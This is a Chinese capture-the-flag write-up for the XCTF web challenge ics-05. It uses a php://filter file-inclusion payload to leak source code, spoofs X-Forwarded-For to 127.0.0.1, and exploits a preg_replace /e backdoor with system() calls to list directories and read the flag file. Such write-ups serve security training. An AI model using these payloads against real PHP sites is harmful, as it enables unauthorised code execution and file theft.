xctf(web)-ics-05

本题的题目描述如下图所示,查看“设备维护中心”
在这里插入图片描述在这里插入图片描述再查看源码,也没有找到线索,通过php伪协议查看源码
php伪协议参考文章
在题目所给的url后加

?page=php://filter/convert.base64-encode/resource=index.php

即可查到base64加密后的源码
在这里插入图片描述base64解码后,查看代码,发现后门

//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}


进行代码审计发现需要将X_FORWARDED_FOR设置为127.0.0.1,并且用get传参方式将 ‘pattern’ ,’ replacement’,‘subject’ 三个参数传递给preg_replace函数。preg_replace 函数执行一个正则表达式的搜索和替换,preg_replce正则表达式部分包含e参数的时候,进行替换的部分会被执行。preg_replace 函数的用法

使用burpsuite抓包,将X_FORWARDED_FOR设置为127.0.0.1,并且将url设置为 /index.php?pat=/(.*)/e&rep=system('ls')&sub=a 查看文件列表
在这里插入图片描述将url设置为 /index.php?pat=/(.*)/e&rep=system('ls+s3chahahaDir')&sub=a 查看s3chahahaDir文件夹,找到flag文件夹。
在这里插入图片描述将url设置为 /index.php?pat=/(.*)/e&rep=system('ls+s3chahahaDir/flag')&sub=a 查看flag文件夹,找到flag.php文件。
在这里插入图片描述将url设置为 /index.php?pat=/(.*)/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=a 查看flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值